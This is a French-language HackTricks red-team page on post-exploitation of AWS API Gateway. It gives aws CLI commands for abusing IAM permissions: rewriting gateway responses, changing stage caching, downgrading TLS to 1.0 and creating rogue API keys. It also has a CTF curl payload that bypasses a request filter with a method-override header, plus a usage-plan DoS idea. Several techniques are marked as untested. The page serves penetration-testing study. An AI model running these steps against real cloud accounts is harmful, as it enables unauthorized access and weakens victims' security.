AWS - API Gateway Post Exploitation

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

API Gateway

Pour plus d'informations, consultez :

AWS - API Gateway Enum

Accéder aux API non exposées

Vous pouvez créer un point de terminaison dans https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint avec le service com.amazonaws.us-east-1.execute-api, exposer le point de terminaison dans un réseau auquel vous avez accÚs (potentiellement via une machine EC2) et attribuer un groupe de sécurité permettant toutes les connexions.
Ensuite, depuis la machine EC2, vous pourrez accéder au point de terminaison et donc appeler l'API de la passerelle qui n'était pas exposée auparavant.

Contourner le passage du corps de la requĂȘte

Cette technique a été trouvée dans ce compte rendu CTF.

Comme indiquĂ© dans la documentation AWS dans la section PassthroughBehavior, par dĂ©faut, la valeur WHEN_NO_MATCH, lors de la vĂ©rification de l'en-tĂȘte Content-Type de la requĂȘte, transmettra la requĂȘte au back-end sans transformation.

Par consĂ©quent, dans le CTF, la passerelle API avait un modĂšle d'intĂ©gration qui empĂȘchait le drapeau d'ĂȘtre exfiltrĂ© dans une rĂ©ponse lorsqu'une requĂȘte Ă©tait envoyĂ©e avec Content-Type: application/json :

yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Cependant, l'envoi d'une requĂȘte avec Content-type: text/json empĂȘcherait ce filtre.

Enfin, comme l'API Gateway n'autorisait que Get et Options, il Ă©tait possible d'envoyer une requĂȘte dynamoDB arbitraire sans aucune limite en envoyant une requĂȘte POST avec la requĂȘte dans le corps et en utilisant l'en-tĂȘte X-HTTP-Method-Override: GET:

bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Plans d'utilisation DoS

Dans la section ÉnumĂ©ration, vous pouvez voir comment obtenir le plan d'utilisation des clĂ©s. Si vous avez la clĂ© et qu'elle est limitĂ©e Ă  X utilisations par mois, vous pourriez simplement l'utiliser et provoquer un DoS.

La clĂ© API doit simplement ĂȘtre incluse dans un en-tĂȘte HTTP appelĂ© x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un attaquant avec les permissions apigateway:UpdateGatewayResponse et apigateway:CreateDeployment peut modifier une rĂ©ponse de passerelle existante pour inclure des en-tĂȘtes personnalisĂ©s ou des modĂšles de rĂ©ponse qui divulguent des informations sensibles ou exĂ©cutent des scripts malveillants.

bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Fuite d'informations sensibles, exécution de scripts malveillants ou accÚs non autorisé aux ressources API.

note

Besoin de tests

apigateway:UpdateStage, apigateway:CreateDeployment

Un attaquant disposant des autorisations apigateway:UpdateStage et apigateway:CreateDeployment peut modifier une étape API Gateway existante pour rediriger le trafic vers une autre étape ou changer les paramÚtres de mise en cache pour obtenir un accÚs non autorisé aux données mises en cache.

bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : AccÚs non autorisé aux données mises en cache, perturbation ou interception du trafic API.

note

Besoin de tests

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un attaquant ayant les permissions apigateway:PutMethodResponse et apigateway:CreateDeployment peut modifier la rĂ©ponse de mĂ©thode d'une mĂ©thode API Gateway REST API existante pour inclure des en-tĂȘtes personnalisĂ©s ou des modĂšles de rĂ©ponse qui divulguent des informations sensibles ou exĂ©cutent des scripts malveillants.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Fuite d'informations sensibles, exécution de scripts malveillants ou accÚs non autorisé aux ressources API.

note

Besoin de tests

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un attaquant disposant des autorisations apigateway:UpdateRestApi et apigateway:CreateDeployment peut modifier les paramÚtres de l'API Gateway REST API pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API.

bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Affaiblissement de la sécurité de l'API, permettant potentiellement un accÚs non autorisé ou exposant des informations sensibles.

note

Besoin de tests

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un attaquant avec les autorisations apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, et apigateway:CreateUsagePlanKey peut créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour un accÚs non autorisé aux APIs.

bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impact potentiel : AccÚs non autorisé aux ressources API, contournement des contrÎles de sécurité.

note

Besoin de tests

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks